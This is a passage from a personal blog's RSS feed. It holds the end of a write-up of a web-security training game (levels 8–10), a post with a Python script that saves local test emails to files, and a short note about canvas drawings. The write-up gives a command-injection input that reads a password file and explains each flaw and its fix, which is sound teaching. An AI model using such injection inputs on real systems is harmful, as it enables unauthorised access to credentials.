&lt;p&gt;For this one we know the mechanism by which the secret is encoded and all of the operations are reversible so we can simply do the inverse of those functions in the reverse order and we're good to go. I ended up using &lt;a href="http://codepad.viper-7.com/"&gt;codepad.viper-7.com&lt;/a&gt; since most of the others didn't support 5.4 (which is necessary for the hex2bin function), but it seems to be on the fritz at the moment so try &lt;a href="http://3v4l.org"&gt;3v4l.org&lt;/a&gt;.&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")))&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Now we've got our password, enter it into the form to continue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; See level 6.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; See level 6.&lt;/p&gt;
&lt;h3&gt;Level 9&lt;/h3&gt;
&lt;p&gt;This level is passing user input almost directly to the command line. The parameter is not even quoted in the command sent to the OS, we can add a space and a second file to search through. We can use . to match everything and then comment out the rest of the line using #.&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;. /etc/natas_webpass/natas10 #&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Passing client input directly to the command line.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Find another way. You could mitigate the damage of this kind of thing by careful quoting and encoding and character filtering, but you've only got to miss one and you're screwed.&lt;/p&gt;
&lt;h3&gt;Level 10&lt;/h3&gt;
&lt;p&gt;Turns out my exploit for Level 9 works here as well. Which is nice.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Same as the previous level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; If you're going to deny characters, consider whitelisting rather than blacklisting. It's easy to miss a few and it's a good idea to fail closed for security-sensitive code.&lt;/p&gt;
&lt;p align="center"&gt;******************************************************&lt;/p&gt;
&lt;p&gt;That'll do for now. Things get a little more involved from here on out, so I want to devote more time to each one. Stay tuned!&lt;/p&gt;</description>
      <pubDate>Fri, 16 Nov 2012 12:43:04 GMT</pubDate>
    </item>
    <item>
      <title>Filling the IIS7 SMTP hole with Python Goodness</title>
      <link>http://monochromacy.net/ViewPost.aspx?PostId=44</link>
      <description>&lt;p&gt;I'm currently working on a site with a load of background processes that run and fire emails left, right and centre. And it's on IIS7, so I don't have a local SMTP server at my disposal. Dang.&lt;/p&gt;
&lt;p&gt;But wait! I bet Python has some magical module which does crap like this. Could I just &lt;span class="code"&gt;import SMTP&lt;/span&gt; from python and be on my merry way?&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   1:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; smtpd&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   2:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; asyncore&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   3:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; os&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   4:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; sys&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   5:   &lt;/span&gt;&lt;span class="kwrd"&gt;from&lt;/span&gt; datetime &lt;span class="kwrd"&gt;import&lt;/span&gt; datetime&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   6:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   7:   &lt;/span&gt;&lt;span class="kwrd"&gt;class&lt;/span&gt; StoreSMTP&lt;span class="op"&gt;(&lt;/span&gt;smtpd&lt;span class="op"&gt;.&lt;/span&gt;SMTPServer&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   8:   &lt;/span&gt;    &lt;span class="kwrd"&gt;def&lt;/span&gt; __init__&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;*&lt;/span&gt;args&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="op"&gt;**&lt;/span&gt;kwargs&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   9:   &lt;/span&gt;        smtpd&lt;span class="op"&gt;.&lt;/span&gt;SMTPServer&lt;span class="op"&gt;.&lt;/span&gt;__init__&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;*&lt;/span&gt;args&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="op"&gt;**&lt;/span&gt;kwargs&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  10:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  11:   &lt;/span&gt;    &lt;span class="kwrd"&gt;def&lt;/span&gt; process_message&lt;span class="op"&gt;(&lt;/span&gt;self&lt;span class="op"&gt;,&lt;/span&gt; peer&lt;span class="op"&gt;,&lt;/span&gt; mailfrom&lt;span class="op"&gt;,&lt;/span&gt; rcpttos&lt;span class="op"&gt;,&lt;/span&gt; data&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  12:   &lt;/span&gt;        filename &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;'{0}_{1}.txt'&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;format&lt;span class="op"&gt;(&lt;/span&gt;rcpttos&lt;span class="op"&gt;[&lt;/span&gt;&lt;span class="str"&gt;0&lt;/span&gt;&lt;span class="op"&gt;]&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; datetime&lt;span class="op"&gt;.&lt;/span&gt;now&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;strftime&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'%Y%m%d-%H%M%S-%f'&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  13:   &lt;/span&gt;        &lt;span class="kwrd"&gt;print&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'Writing: '&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; filename&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  14:   &lt;/span&gt;        f &lt;span class="op"&gt;=&lt;/span&gt; open&lt;span class="op"&gt;(&lt;/span&gt;os&lt;span class="op"&gt;.&lt;/span&gt;path&lt;span class="op"&gt;.&lt;/span&gt;join&lt;span class="op"&gt;(&lt;/span&gt;self&lt;span class="op"&gt;.&lt;/span&gt;_remoteaddr&lt;span class="op"&gt;,&lt;/span&gt; filename&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="str"&gt;'a'&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  15:   &lt;/span&gt;        f&lt;span class="op"&gt;.&lt;/span&gt;write&lt;span class="op"&gt;(&lt;/span&gt;data&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  16:   &lt;/span&gt;        f&lt;span class="op"&gt;.&lt;/span&gt;close&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  17:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  18:   &lt;/span&gt;&lt;span class="kwrd"&gt;if&lt;/span&gt; __name__ &lt;span class="op"&gt;==&lt;/span&gt; &lt;span class="str"&gt;'__main__'&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  19:   &lt;/span&gt;    path &lt;span class="op"&gt;=&lt;/span&gt; sys&lt;span class="op"&gt;.&lt;/span&gt;argv&lt;span class="op"&gt;[&lt;/span&gt;&lt;span class="str"&gt;1&lt;/span&gt;&lt;span class="op"&gt;]&lt;/span&gt; &lt;span class="kwrd"&gt;if&lt;/span&gt; len&lt;span class="op"&gt;(&lt;/span&gt;sys&lt;span class="op"&gt;.&lt;/span&gt;argv&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="str"&gt;1&lt;/span&gt; &lt;span class="kwrd"&gt;else&lt;/span&gt; &lt;span class="str"&gt;'.'&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  20:   &lt;/span&gt;    &lt;span class="kwrd"&gt;if&lt;/span&gt; &lt;span class="kwrd"&gt;not&lt;/span&gt; os&lt;span class="op"&gt;.&lt;/span&gt;path&lt;span class="op"&gt;.&lt;/span&gt;exists&lt;span class="op"&gt;(&lt;/span&gt;path&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  21:   &lt;/span&gt;        os&lt;span class="op"&gt;.&lt;/span&gt;mkdir&lt;span class="op"&gt;(&lt;/span&gt;path&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  22:   &lt;/span&gt;    &lt;span class="kwrd"&gt;print&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'Running ['&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; path &lt;span class="op"&gt;+&lt;/span&gt; &lt;span class="str"&gt;'] . . .'&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  23:   &lt;/span&gt;    server &lt;span class="op"&gt;=&lt;/span&gt; StoreSMTP&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'localhost'&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="str"&gt;25&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; path&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  24:   &lt;/span&gt;    &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  25:   &lt;/span&gt;        asyncore&lt;span class="op"&gt;.&lt;/span&gt;loop&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  26:   &lt;/span&gt;    &lt;span class="kwrd"&gt;except&lt;/span&gt; KeyboardInterrupt&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  27:   &lt;/span&gt;        server&lt;span class="op"&gt;.&lt;/span&gt;close&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;I guess so.&lt;/p&gt;</description>
      <pubDate>Thu, 11 Oct 2012 14:43:23 GMT</pubDate>
    </item>
    <item>
      <title>More Canvas Frolics</title>
      <link>http://monochromacy.net/ViewPost.aspx?PostId=43</link>
      <description>&lt;p&gt;I made &lt;a href="/Resources/trees2.html"&gt;another thing&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="/Resources/trees2.html"&gt;&lt;img src="/Resources/js_trees.png" height="478" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Next post will probably be a write-up of my time spent wrestling with &lt;a href="https://stripe.com/blog/capture-the-flag-20"&gt;Stripe CTF 2.0&lt;/a&gt;. I had some real fun with it, but my notes are a wreck and I need to make sure &lt;em&gt;I&lt;/em&gt; understand them before I try to communicate them to the world!&lt;/p&gt;</description>
      <pubDate>Wed, 29 Aug 2012 21:43:10 GMT</pubDate>
    </item>
  </channel>
</rss>